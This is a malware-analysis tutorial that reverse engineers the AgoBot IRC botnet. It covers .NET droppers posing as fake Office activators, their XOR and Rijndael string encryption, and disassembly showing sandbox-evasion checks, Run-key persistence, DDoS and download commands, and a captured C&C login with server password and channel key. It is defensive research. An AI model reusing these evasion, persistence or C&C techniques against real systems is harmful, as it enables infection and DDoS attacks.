Zoom Icon

AgoBot Botnet Reverse Engineering

From UIC

In Depth Analysis of Backdoor.AgoBot IRC Botnet

Contents


AgoBot Botnet Reverse Engineering
Author: Evilcry
Email: evilcry@gmail.com
Website: Home page
Date: 07/01/2011 (dd/mm/yyyy)
Level: Luck and skills are required
Language: English Flag English.gif
Comments:



Introduction

Well, let's start this new year with an IRC Botnet commonly identified as Backdoor.AgoBot.

The aim of this paper is to show not only the Botnet itself, but also the Evolution of involved Droppers via a classical Reverse Engineering Approach. This time we will deal with .NET Targets, at the same time I want to show, from a classical Forensic point of view how informations can be carved out from such kind of Executables. Successively we will discuss about Generic Botnet Tracking process.


In this way newbies should have a basical complete view of what's involved into botnet research.


Tools & Files


Analysis

Samples are taken from malware section of kernelmode.info forum.

  • Microsoft Office 2010 32b Pro+ incl. Activation!!!!!.exe
  • KLU7CH~1.EXE

Usually viruses that belong to the same family are pretty similar. We can verify this assumption via CTPH ( Context Triggered Piecewise Hashes – also called Fuzzy Hashing) an algorithm usually used for Spam Detection.


FirstSample -> 3072:7wNMUpRsZNeb/P7Cf4Ml477FXF63K+OrAJlvFniJVXeHZivONku819YiP+inYwjp:7
6Rcjc5ANOrA3Fh5iG2uu9FPbnY2

SecondSample -> 3072:pTkqSzk1ncUnegRJT3ik31arDLYmVYsfKQNwJ/csU0ul0ZuTHQLCDSj:RkqSShnBED
LnRPNRsULyZuDoCDS

It's immediate to see that our two samples have many differences this implies, according to the posting Chronology that we have had an evolution of the droppers.

Direct Reverse Engineering will demonstrate us that we're right because KLU7CH is much more complex than the first one.

Both executables comes out as Fake Tools.

First Sample Analysis

Starting from the most easy dropper Microsoft Office 2010 32b Pro+ incl. Activation!!!!!

MD5 : C4CED35A17D1BE8073895B0AFB8FC4FD SHA-1: FC02898EEFF4E50F53D46809D8C1A1AB5C083A38 File Size: 196.00 KB (200704 bytes)

According to CFF, the executable is a "Microsoft Visual Studio .NET" one.

As you should know .NET executables are a little bit different from classical ones. From a Malware and Forensic point of view, important and detailed informations are located into .NET Directory and its MetaData Section. Schematically we can enumerate the following entries:

  • .NET Directory
  • MetaData Header
  • MetaData Streams
  • Tables Header
  • Tables
  • .Strings
  • .US
  • .GUID
  • .BLOB

Image 1.jpg

The most interesting informations are located into MetaData Tables:

Image 2.jpg

From Module Entry we have the first important information, the original name of the malicious executable was bozz.exe.

Successively as evidenced in Red Rectangles we have an Array of Methods and Parameters. An overview of these Array Entries will give us an idea of the number of methods implemented and their names, which could come handy to identify Decryption Functions, let's see how Methods array appear:

Image 3.jpg

In evidence we have the methods Main and decrypt, remaining names as it's obvious are obfuscated, successively we will realize that they are quite useless for our understanding scopes.

We can obtain some additional information about methods involved. Let's say we want to know more about decrypt() function, .NET stores informations on parameters:

Image 4.jpg

According to Table Section, we have a Parameter Array, here is indexed the decrypt parameter, located at entry index 9.

Image 5.jpg

Finally our function will be decrypt(message, password)

The undoubt vantage of dealing with .NET Executables is that they can be Decompiled, using .NET Reflector.

Image 6.jpg


We can decompile code contained into Internal Sealed Class evidenced in figure.


Image 7.jpg

Code is pretty easy to understand, a new executable is dropped and executed, in case str2 variable is "T" (Transfer) file is downloaded and executed, in our case its value is "F", so file is not downloaded.

Let's see the algorithm involved into decryption routine:

Image 8.jpg

Algorithm is pretty trivial, XOR Based Encryption. In a first instance latest byte of CipherText is XORed with a constant value of 0x70, successively whole CipherText is decrypted with another XOR between the constant value previously obtained and a byte from the password. When password len is reached counter is cleared and the same password is reapplied again, until the CipherText is completed.

The Cryptanalysis Point of View

In this paragraph we are going to give an overview of the encryption system used under a Cryptanalysis Point of View.

According to the decompiled decryption algorithm:

  1. We have a first layer of Base64 Armoring, this implies that no key is needed and we can work with a block of data extracted from the entire cipherText.
  2. Two XOR are applied to the decoded from Base64 cipherText.

Base64 constitutes only a portability or so called armored layer, this does not affect the Reversibility of the Encryption Algorithm.

XOR Encryption is based on a double layered process, basically two XOR components:

plainText[i] = ( cipherText XOR password[i] ) XOR one_byte_key

The password[i] and one_byte_key are applied cyclically to the plaintext, you can also see that password[i] (constant) is one byte like the one_byte_key (constant) and combined are:

final_password[i] = password[i] XOR one_byte

The one byte key given by message[message.Lenght-1] XOR 0x70 does not add any additional security to the cipherText.

Attack Scenario should be now clear for the reader, we have a Classical Symmetric Encryption algorithm with in a supposed ciphertext only context, it's supposed because we know some pieces of the plaintext due to the fact that File Format is known: PE.

First step is obvious, Base64 Decoding.

Image 9.jpg

In presence of these kind of encryption systems the first operation to do is computing the key lenght. This can be done by calculating Autocorrelation of the Document.

"There are two stages in the analysis:

First of all the key length used is worked out, and then the key itself.

The key length is calculated using autocorrelation. Since in most documents not every character occurs equally often, the probability of two identical characters occurring is relatively large if they are separated by a multiple of the key length. Therefore in an autocorrelation analysis a typical comb formation is generated, in which the individual teeth are separated by exactly the length of the key. If automatic detection of the key length produces an incorrect result, it is possible to determine the key length manually.

Once the key length has been worked out, the actual key used is calculated. This is done by performing a frequency analysis " - from CrypTool

Let's see Autocorrelation Plot

Image 10.jpg

In our case if we take the first data block, that corresponds to PE Header, due to the presence zero-padding, the most common character will be 0x00 (this can be observed with a compared plaintext Frequency Analysis).

Finally Derived Key Lenght is 16 with (as expected) Most Common value of 0x00, by overlapping these two results we can know the Encryption Key, which is:

73 77 6C 46 77 6E 73 43 74 74 60 4B 75 49 5D 6A

Entire decoded ciphertext is placed into buffer2 that will contain the malicious executable decrypted that's called oxVCfvciCKyeaaY.exe as final issue this executable will be executed.

Here ends the first dropper, what are Evidences of Infection, limited to the dropper execution?

1. The Presence of oxVCfvciCKyeaaY.exe executable into SpecialFolder -> Templates Directory. 2. Other Evidence Elements will be collected during Reverse Engineering of the dropped Executable, with the Spawned Process and Mutex Presence.


The Second Dropper KLU7CH

The second AgoBot Botnet dropper, which is the evolution of the first one, is much more complex, due to the presence of a strong encryption algorithm Rijndael that obfuscates all strings involved into infection process.

MD5: 312E26D93778ACAB517429D96D32AC77 SHA-1: 46D71DC4E05F1DDC214429F7BE99227BCF3BCC79 File Size: 288.00 KB (294912 bytes)

This time we will directly decompile it with .NET Reflector

Image 11.jpg

We have only one internal sealed class with an unique method in clear which is the Mail().

Image 12.jpg

First operation, is creation of a new Mutex the needed arguments are two: Mutex(False, Yc(..parameters..))

Yc() as should be clear from its arguments has the scope of Decryption Function, in this case will produce the string that belongs to the Named Mutex.

Image 13.jpg

String s like in the first dropper, is Base64 Encoded, buffer will contain the corresponding decoded byte array that will be used by xf9 function.

We will see that xf9 it's a method that implements Rijndael decryption, again this time an encoded executable is decrypted and dropped, path used is:

 %\ApplicationData\Microsoft\Security

Finally a new Registry Key Entry is Created.

As you have seen, all involved strings are decrypted on fly with two functions Yc() and xf9() let's analyze these:

Image 14.jpg

The most interesting thing to observe is that Yc is a wrap (with some other basical stuff) around xf9.

Image 15.jpg

Xf9 finally results the core of decryption routine, that as can be easly seen it's it's an implementation of Rijndael.

To decode strings, I've ripped from disassembly view the two decryption functions Yc and xf9, and refactored the involved function arguments finally cleared xf9 from useless code.

This time our dropper leaves more Evidences than the first one:

  • Mutex Name.
  • Executable Dropped and Executed.
  • New Registry Key Entry.

Dropped Executable Analysis ( The Botnet Core )

Let's inspect oxVCfvciCKyeaaY.exe

MD5: F9BB16D212C4D5B83CF09881D14B5685 SHA-1: 77E64986406FCDE246B98D2CFF8F92D2B04B45D5 File Size: 41.50 KB (42496 bytes) Compiler Used: Microsoft Visual C++ 6.0

No resources available.

This time we deal with a classical executable, compiled with Visual C++ 6 so we need to locate WinMain() entry and follow the code contained in.

00402A95                 call    sub_402782      ; Emulation Awareness
00402A9A                 test    eax, eax
00402A9C                 jz      short loc_402AA5 ; Jump if we are
                                                  NOT into and Emulator
00402A9E                 xor     eax, eax
00402AA0                 jmp     Exit            ; Jump Out
00402AA5 loc_402AA5:
00402AA5                 push    2               ; uMode
00402AA7                 call    ds:SetErrorMode
00402AAD                 push    offset Name     ; "45h3ghg"
00402AB2                 push    0               ; bInheritHandle
00402AB4                 push    0               ; dwDesiredAccess
00402AB6                 call    ds:OpenMutexA
00402ABC                 test    eax, eax
00402ABE                 jz      short loc_402AC4 ; If mutex opening
                                                    FAILS then Exit
00402AC0                 xor     eax, eax
00402AC2                 jmp     short Exit

AgoBot implements a basical system to check if the code is executed in a controlled environment, like VirtualMachines/Sandboxing Systems/HoneyPots, here the code:

0040278B                 mov     dword ptr [ebp-9Ch], offset aSandbox ; "sandbox"
00402795                 mov     dword ptr [ebp-98h], offset aHoney ; "honey"
0040279F                 mov     dword ptr [ebp-94h], offset aVmware ; "vmware"
004027A9                 mov     dword ptr [ebp-90h], offset aCurrentuser ; "currentuser"
004027B3                 mov     dword ptr [ebp-8Ch], offset aNepenthes ; "nepenthes"
004027BD                 mov     dword ptr [ebp-4], 80h
004027C4                 lea     eax, [ebp+pcbBuffer]
004027C7                 push    eax             ; pcbBuffer
004027C8                 lea     eax, [ebp+Str]
004027CE                 push    eax             ; lpBuffer
004027CF                 call    ds:GetUserNameA
004027D5                 lea     eax, [ebp+Str]
004027DB                 push    eax             ; lpsz
004027DC                 call    ds:CharLowerA

The check is pretty trivial and easly deceivable, application checks if the victim UserName belongs to some Emulation System. If emulation is revealed, execution of the malicious code ends without any infection.

Otherwise, a Mutex called 45h3ghg is opened, it's interesting to say here that often Mutex constitutes an Evidence of Infection due to their unique Names.

00402AD3                 lea     eax, [ebp+String1]
00402AD9                 push    eax             ; lpString1
00402ADA                 lea     eax, [ebp+Dest]
00402AE0                 push    eax             ; lpString2
00402AE1                 call    sub_4029A8    
; Check if the executable is running as
00402AE1                                         ; 'winmsgr105.exe'
00402AE6                 pop     ecx
00402AE7                 pop     ecx
00402AE8                 test    eax, eax
00402AEA                 jnz     short loc_402B01
00402AEC                 lea     eax, [ebp+String1]
00402AF2                 push    eax             ; Source
00402AF3                 lea     eax, [ebp+Dest]
00402AF9                 push    eax             ; Dest
00402AFA                 call    _strcpy
00402AFF                 pop     ecx
00402B00                 pop     ecx

At this point I strongly suggest you to use OllyDbg2 with Event ChildProcess Break, you will understand suddenly why.

.text:004029AE                 push    104h            ; nSize
.text:004029B3                 push    [ebp+lpString1] ; lpFilename
.text:004029B6                 push    0               ; lpModuleName
.text:004029B8                 call    ds:GetModuleHandleA
.text:004029BE                 push    eax             ; hModule
.text:004029BF                 call    ds:GetModuleFileNameA
.text:004029C5                 push    [ebp+lpString2] ; pszPath
.text:004029C8                 push    0               ; dwFlags
.text:004029CA                 push    0               ; hToken
.text:004029CC                 push    1Ah             ; csidl
.text:004029CE                 push    0               ; hwnd
.text:004029D0                 call    ds:SHGetFolderPathA
.text:004029D6                 test    eax, eax
.text:004029D8                 jl      short loc_402A59
; If already exists "winmsgr105.exe"
.text:004029D8                                         ; Then EXIT
.text:004029DA                 push    offset aWinmsgr105_exe
; "winmsgr105.exe"
;...
.text:00402A21                 call    ds:CopyFileA
.text:00402A27                 push    7               ; dwFileAttributes
.text:00402A29                 push    [ebp+lpString2] ; lpFileName
.text:00402A2C                 call    ds:SetFileAttributesA
.text:00402A32                 push    [ebp+lpString2] ; Str
.text:00402A35                 call    RegistryKey_Creation ;Reg. Key Stuff
.text:00402A3A                 pop     ecx
.text:00402A3B                 push    5               ; nShowCmd
.text:00402A3D                 push    0               ; lpDirectory
.text:00402A3F                 push    0               ; lpParameters
.text:00402A41                 push    [ebp+lpString2] ; lpFile
.text:00402A44                 push    offset Operation ; "open"
.text:00402A49                 push    0               ; hwnd
.text:00402A4B                 call    ds:ShellExecuteA
.text:00402A51                 push    0               ; uExitCode
.text:00402A53                 call    ds:ExitProcess

The same file is renamed as winmsgr105.exe and copied. Successively the new file is Executed via ShellExecuteA. Now if we have ChildProcess Tracking enabled Olly2 will break into the new process.

.text:00402900                 mov     [ebp+lpValueName], offset aTaskman
; "Taskman"
.text:00402907                 mov     [ebp+lpSubKey], offset aSoftwareMicros
; "SOFTWARE\\Microsoft\\Windows NT\\CurrentVe"...
.text:0040290E                 mov     [ebp+var_4], offset aSoftwareMicr_0
; "Software\\Microsoft\\Windows\\CurrentVersi"...
.text:00402915                 push    0               ; lpdwDisposition
.text:00402917                 lea     eax, [ebp+hKey]
.text:0040291A                 push    eax             ; phkResult
.text:0040291B                 push    0               ; lpSecurityAttributes
.text:0040291D                 push    3               ; samDesired
.text:0040291F                 push    0               ; dwOptions
.text:00402921                 push    0               ; lpClass
.text:00402923                 push    0               ; Reserved
.text:00402925                 push    [ebp+lpSubKey]  ; lpSubKey
.text:00402928                 push    HKEY_LOCAL_MACHINE ; hKey
.text:0040292D                 call    ds:RegCreateKeyExA
;...
.text:00402973                 push    HKEY_CURRENT_USER ; hKey
.text:00402978                 call    ds:RegCreateKeyExA
;...
.text:00402994                 push    [ebp+hKey]      ; hKey
.text:00402997                 call    ds:RegSetValueExA
.text:0040299D                 push    [ebp+hKey]      ; hKey
.text:004029A0                 call    ds:RegCloseKey

Two new entries:

first one Software\Microsoft\Windows\CurrentVersion\Run it's used to make the botnet agent reboot-survive

second insert user "tht4545ttr" into HKEY_CURRENT_USER.

.text:00402B16                 push    eax             ; lpValueName
.text:00402B17                 call    sub_40282B      
; Other Reg Stuff related to Botnet Activity


Finally we land to the last piece of code, that's the core of IRC Botnet Activity.

.text:00402B1D                 push    1               ; int
.text:00402B1F                 push    0               ; lpParameter
.text:00402B21                 push    offset sub_402729 ; lpStartAddress
.text:00402B26                 call    sub_4030A7      ; CreateThread

To catch the New Thread at this point you need to have selected the Debug Event Break on New Thread

.text:0040272D                 call    sub_4017A3      ; WSAStartup
.text:00402732                 test    eax, eax
.text:00402734                 jnz     short loc_40273E
; Exit if WSAStartup fails
.text:00402736                 push    0               ; dwExitCode
.text:00402738                 call    ds:ExitThread
.text:0040273E:
.text:0040273E                 push    offset Name     ; "45h3ghg"
.text:00402743                 push    0               ; bInitialOwner
.text:00402745                 push    0               ; lpMutexAttributes
.text:00402747                 call    ds:CreateMutexA
.text:0040274D                 mov     [ebp+hMutex], eax
.text:00402750                 call    ds:GetTickCount
.text:00402756                 push    eax
.text:00402757                 call    sub_4038F3      ; seed = EAX
.text:00402762                 call    sub_402618      
; Build Credentials & Connect

Code is self explainatory I think, if WinSock fails the running thread ends and consecutively the main infector.

A new mutext named is created and finally a seed is produced via GetTickCount, this will be used in future to generate some random strings necessary to enstablish the IRC connection with the malicious server. It's now time deep dive into the core fuction call sub_402618 that's responsible of Building Credentials required by the IRC Server and suddenly after enstablishing that connection.

.text:0040263E                 cmp     off_40B1C8[eax], 0 ; *
.text:00402645                 jnz     short loc_402652
.text:00402647                 and     dword ptr [ebp-8], 0
.text:0040264B                 mov     eax, [ebp-10h]
.text:0040264E                 inc     eax
.text:0040264F                 mov     [ebp-10h], eax
.text:00402652
.text:00402652                 mov     eax, [ebp-8]
.text:00402655                 imul    eax, 0Ch
.text:00402658                 mov     ax, word_40B1CC[eax]
.text:0040265F                 push    eax             ; hostshort
.text:00402660                 mov     eax, [ebp-8]
.text:00402663                 imul    eax, 0Ch
.text:00402666                 push    off_40B1C8[eax] ; int
.text:0040266C                 call    _getHostByName  
; Resolve Host and Connect
.text:00402671                 pop     ecx
.text:00402672                 pop     ecx
.text:00402673                 mov     [ebp-0Ch], eax
.text:00402676                 cmp     dword ptr [ebp-0Ch], 0
.text:0040267A                 jle     loc_40270F      
; Jump if connect() failed
.text:00402680                 and     dword ptr [ebp-8], 0
.text:00402684                 and     dword ptr [ebp-10h], 0
.text:00402688                 push    0
.text:0040268A                 call    _randomize      ; rand()
.text:0040268F                 pop     ecx
.text:00402690                 push    eax             ; random string
.text:00402691                 push    dword_40B1E8
.text:00402697                 call    Build_NickName  
                 ; Get OS (GetVersionExA) ie NickName Build
.text:00402697   ; [ _COUNTRY_ | _OS_ | UserName | _RAND_ ]


The host is resolved via getHostByName and connection enstablished, NickName contains the classical informations in the classical way of IRCBotnets, geo info | os | machine username and a random string.


.text:0040269C                 pop     ecx
.text:0040269D                 push    eax             ; nickname
.text:0040269E                 mov     eax, [ebp-8]
.text:004026A1                 imul    eax, 0Ch
.text:004026A4                 push    off_40B1D0[eax] ; serverpass
.text:004026AA                 push    dword ptr [ebp-0Ch] ; s
.text:004026AD                 call    _IRC_STUFF      
; IRC Enstablish Connection

It's now time start IRC negotiation, informations required are NickName, ServerPass, Username, TrueName. At this point, if connection with the server is correctly enstablished we bacame a 'new servant'.

In idle conditions, we send every 5 seconds a PING to the server, that as usual replies with a PONG.

The question now is, what task need to accomplish a drone?

Drone Analysis

The first thing I've noticed is that the channel name is #KLu7cHzDDos if you pay attention you can see DDos word at the end.

We can suppose that AgoBot is a DDoS System, but we need the proof and the knowledge of what attack techniques are used.

Due to the fact that we are inside the networking functionalities we must expect that there is a routine that parses received buffer and performs the attack.

.text:004026B2                 add     esp, 10h
.text:004026B5                 test    eax, eax
.text:004026B7                 jle     short loc_40270D
.text:004026B9                 push    dword ptr [ebp-0Ch] ; nfds
.text:004026BC                 call    sub_402508      ; Commands Interpreter

Let's see how works the command parser:

.text:00402538                 push    [ebp+nfds]      ; nfds
.text:0040253B                 call    sub_401B6E      ; select(nfds)
.text:00402540                 pop     ecx
.text:00402541                 mov     [ebp-4], eax    
; eax contain the number of ready
.text:00402541                                         ; socket decriptors
.text:00402544                 cmp     dword ptr [ebp-4], 0
.text:00402548                 jle     short loc_4025C8
; if number_of_ready_sockets <= 0 or v3 == 0x7FF then break
.text:00402548
.text:0040254A                 cmp     dword ptr [ebp-808h], 7FFh
.text:00402554                 jnz     short loc_402558
.text:00402556                 jmp     short loc_4025C8
.text:00402558                 push    0               ; flags
.text:0040255A                 push    1               ; len
.text:0040255C                 mov     eax, [ebp-808h]
.text:00402562                 lea     eax, [ebp+eax+Dst]
.text:00402569                 push    eax             ; buf
.text:0040256A                 push    [ebp+nfds]      ; s
.text:0040256D                 call    ds:recv
.text:00402573                 mov     [ebp-80Ch], eax
; if number of bytes received <= 0 then return 0
.text:00402573
.text:00402579                 cmp     dword ptr [ebp-80Ch], 0
.text:00402580                 jg      short loc_402589
.text:00402582                 xor     eax, eax
.text:00402584                 jmp     locret_402616
.text:00402589                 mov     eax, [ebp-808h]
.text:0040258F                 add     eax, [ebp+num_of_bytes_received]
.text:00402595                 mov     [ebp-808h], eax
.text:0040259B                 mov     eax, [ebp-808h]
.text:004025A1                 movsx   eax, byte ptr [ebp+eax-805h]
.text:004025A9                 cmp     eax, 0Dh        
; if the value received is 0xD then break
.text:004025A9
.text:004025AC                 jz      short loc_4025C1
.text:004025AE                 mov     eax, [ebp-808h]
.text:004025B4                 movsx   eax, byte ptr [ebp+eax-805h]
.text:004025BC                 cmp     eax, 0Ah
.text:004025BF                 jnz     short loc_4025C3
; if value received != 0xA then return the number of ready socket descriptors
.text:004025BF
.text:004025C3                 jmp     loc_402538
.text:004025C8                 cmp     [ebp+number_of_ready_sockets], 0
.text:004025CC                 jg      short loc_4025D3
; if value received >= 2 then
.text:004025CC                                          ; call 00402337

Code is fully commented, initially application checks the number of ready socket descriptors with select(), if the value is <= 0 means that some error happeded or time limit expires before any sockets are selected. Various cases of recv() are commented, now we must see what happens in call 00402337 where the correct commands are handled with the proper routine. Code is pretty long, and in some cases boring and we don't want to terrify our newbies :) so here I'll go more briefly. call 00402337 takes two arguments SocketDescriptor S and char *Str1.

Commands

Every Botnet has a set of commands, that the C&C Master (the owner of the malicious server) can send to its victims. Without going too in depth, here how this set of instructions appear from deadlist code

.text:00401CC5                 push    offset aV       ; "v"
.text:00401CCA                 mov     eax, [ebp+10h]
.text:00401CCD                 mov     ecx, [ebp+0Ch]
.text:00401CD0                 push    dword ptr [ecx+eax*4] ; Str1
;...
.text:00401CD8                 pop     ecx
.text:00401CD9                 pop     ecx
.text:00401CDA                 test    eax, eax
.text:00401CDC                 jnz     short loc_401CF8
;jump to the next Command case
.text:00401CDE                 push    [ebp+Str1]      ; Str1
.text:00401CE1                 push    offset aLucasRunzDisSh
; "LuCaS RuNz DiS ShiT NuKKa!          "
.text:00401CE6                 push    5               ; int
.text:00401CE8                 push    [ebp+s]         ; s
.text:00401CEB                 call    _IRCStringParse_

Code is pretty clear, and we can easly profile the set of instructions. If 'v' command is sent is called call _IRCStringParse_ with the string that you can see from comments, else execution jump to the next case. Basically all commands follow this design, so quickly:

  • "v" => Version
  • "r" => Reconnect
  • "hhhhe45h" => Disconnect
  • "ththtrht45h45" => Remove
  • "hegre" => Reboot Victim Machine

These commands belong to a group of instruction that we can call Victim Management, let's now see the commands that effectively Determine the Typology of Botnet, for teaching purposes we can call these instructions as Attack Commands.

Essentially the code design for these commands is unchanged relatively to the Victim Management ones.

  • "dl" => Download Functionality
  • "supersyn" => DDoS Functionality
  • "udp" => UDP Flood Functionality

Due to the strict Dependence with the Time, last two commands need to be executed in separate threads.

Network

In this chapter we will see network activity captured from Wireshark.

Image 19a.jpg

You can distinguish two separate flows:

  • DNS Resolution
  • TCP Connection

The most interesting informations are given by the TCP Stream, just select one of gray entries (TCP Packet) right click and let Wireshark reconstruct for you entire Stream.

You can clearly see a classical IRC behaviour:

PASS \g*mp NICK {N}|ITA|XP|Xxxx-DF595FE|878116 USER yomvig "" "wwxj" :Xxxx-DF595FE

- 001 {N}|ITA|XP|Xxxx-DF595FE|878 :Welcome to the trye5 IRC Network {N}|ITA|XP|Xxxx-DF595FE|878!yomvig@*
- 002 {N}|ITA|XP|Xxxx DF595FE|878 :Your host is t3adjeu.govm, running version Unreal3.2.8.1
- 003 {N}|ITA|XP|Xxxx-DF595FE|878 :This server was created Wed Nov 24 2010 at 15:44:13 EST
- 005 {N}|ITA|XP|Xxxx-DF595FE|878 UHNAMES NAMESX SAFELIST HCN MAXCHANNELS=3 CHANLIMIT=#:3 MAXLIST=b:60,e:60,I:60 NICKLEN=30 CHANNELLEN=32 TOPICLEN=307 KICKLEN=307 AWAYLEN=307 MAXTARGETS=20 :are supported by this server
- 005 {N}|ITA|XP|Xxxx-DF595FE|878 WALLCHOPS WATCH=128 WATCHOPTS=A SILENCE=15 MODES=12 CHANTYPES=# PREFIX=(qaohv)~&@%+ CHANMODES=beI,kfL,lj,psmntirRcOAQKVCuzNSMTG NETWORK=trye5 CASEMAPPING=ascii EXTBAN=~,cqnr ELIST=MNUCT STATUSMSG=~&@%+ :are supported by this server

JOIN #KLu7cHzDDos imklu7chz

- 251 {N}|ITA|XP|Xxxx-DF595FE|878 :There are 1 users and 55 invisible on 1 servers

JOIN #KLu7cHzDDos *

PRIVMSG #KLu7cHzDDos :New Servant.

- 404 {N}|ITA|XP|Xxxx-DF595FE|878 #KLu7cHzDDos :You need voice (+v) (#KLu7cHzDDos)

In bold the most interesting things, that we can resume in:

  • Login Credentials.
  • Channel and Key.
  • Modes.
  • Number of victims 55.

Overview on Botnet Tracking

Well, at this point of analysis we have all necessary elements to move on the second stage of Botnet Analysis, that leave the Reverse Engineering approach and starts the Botnet Tracking problem.

Essentially as you have seen, the Victim became an IRC Client of the C&C (Command and Control) Server.

Usually Victims are used form massive Spam Campaigns or DDoS and other criminal activites involved.

Became clear that a botnet threat need to be fully investigated on its behaviour and structure. This investigation activity basically means Observation of what happens, how the structure evolves and what are the new malicious executables delivered.

So, tracking means Infiltration into the Malicious Server, in the case of an IRC based Botnet (there are also HTTP and P2P ones) basically consists in emulating a victim and keeping track of all network activities involved. In other words we use stolen credentials ( obtained from reverse engineering of the executable ) to log & watch the server activity.

It's not a good practice to use well known IRC Clients (like mIrc) because it's easy for a Server to spot a fake client via CTCP Version Requests.

CERTs, Law Enforcements, Malware Research Organizations and Malware Intelligence companies uses custom IRC clients usually in multi-thread solution to keep track of malicious server activities and store collected data.

But we are common users, should we stop our research at this point? :) By keeping clear in mind that we, as classical homeland users cannot reach sophistication level of above mentioned groups.

We have two possibilities:

  • Became a Victim and keep track via packet capture.
  • Code a fake Client.

The second one is much more interesting, here I'll go to give you some advice.

Python best fits for this purpose because is fast to code due to the presence of nice libraries like use python-irclib

“This library is intended to encapsulate the IRC protocol at a quite low level. It provides an event-driven IRC client framework. It has a fairly thorough support for the basic IRC protocol, CTCP and DCC connections.”

python-irclib [1]


The second important reason is that often is required to extend your client in order to reply correctly to specific bot master commands. In other words you have to correctly emulate the reply of a true victim otherwise there is an high risk to be Banned.

As you have seen during our analysis certain elements of Credentials are builded with a random element, you must respect that issue basically because Always same nick is Suspect, this can be clearly accomplished by emulating the random string build algorithm.

import irclib
# Connection information
network = 'your_network'
port =
channel = ''
nick = ''
name = ''
# Create an IRC object
irc = irclib.IRC()
# Create a server object, connect and join the channel
server = irc.server()
server.connect ( network, port, nick, ircname = name )
server.join ( channel )

# Jump into an infinite loop
irc.process_forever()

Code is taken from Devshed. Further informations, especially on IRC Event Handling can be found here:

IRC-Event-Handling[2]

Well, here ends this little paper whose the aim is to show the basical anatomy of a Botnet Investigation starting from classical Reverse Engineering of the involved executables.


Thanks

Quequero, I really appreciate your efforts on this new Malware Analysis branch of UIC :), My Cat, Ntoskrnl, |Absinth|, Nex, Andre' di Mino, Mila Parkour, Swirl, Darkangel, Insomniac and last but not least my ARTeam mates Gunther and Deroko :)

Evilcry


Disclaimer

I documenti qui pubblicati sono da considerarsi pubblici e liberamente distribuibili, a patto che se ne citi la fonte di provenienza. Tutti i documenti presenti su queste pagine sono stati scritti esclusivamente a scopo di ricerca, nessuna di queste analisi è stata fatta per fini commerciali, o dietro alcun tipo di compenso. I documenti pubblicati presentano delle analisi puramente teoriche della struttura di un programma, in nessun caso il software è stato realmente disassemblato o modificato; ogni corrispondenza presente tra i documenti pubblicati e le istruzioni del software oggetto dell'analisi, è da ritenersi puramente casuale. Tutti i documenti vengono inviati in forma anonima ed automaticamente pubblicati, i diritti di tali opere appartengono esclusivamente al firmatario del documento (se presente), in nessun caso il gestore di questo sito, o del server su cui risiede, può essere ritenuto responsabile dei contenuti qui presenti, oltretutto il gestore del sito non è in grado di risalire all'identità del mittente dei documenti. Tutti i documenti ed i file di questo sito non presentano alcun tipo di garanzia, pertanto ne è sconsigliata a tutti la lettura o l'esecuzione, lo staff non si assume alcuna responsabilità per quanto riguarda l'uso improprio di tali documenti e/o file, è doveroso aggiungere che ogni riferimento a fatti cose o persone è da considerarsi PURAMENTE casuale. Tutti coloro che potrebbero ritenersi moralmente offesi dai contenuti di queste pagine, sono tenuti ad uscire immediatamente da questo sito.

Vogliamo inoltre ricordare che il Reverse Engineering è uno strumento tecnologico di grande potenza ed importanza, senza di esso non sarebbe possibile creare antivirus, scoprire funzioni malevole e non dichiarate all'interno di un programma di pubblico utilizzo. Non sarebbe possibile scoprire, in assenza di un sistema sicuro per il controllo dell'integrità, se il "tal" programma è realmente quello che l'utente ha scelto di installare ed eseguire, né sarebbe possibile continuare lo sviluppo di quei programmi (o l'utilizzo di quelle periferiche) ritenuti obsoleti e non più supportati dalle fonti ufficiali.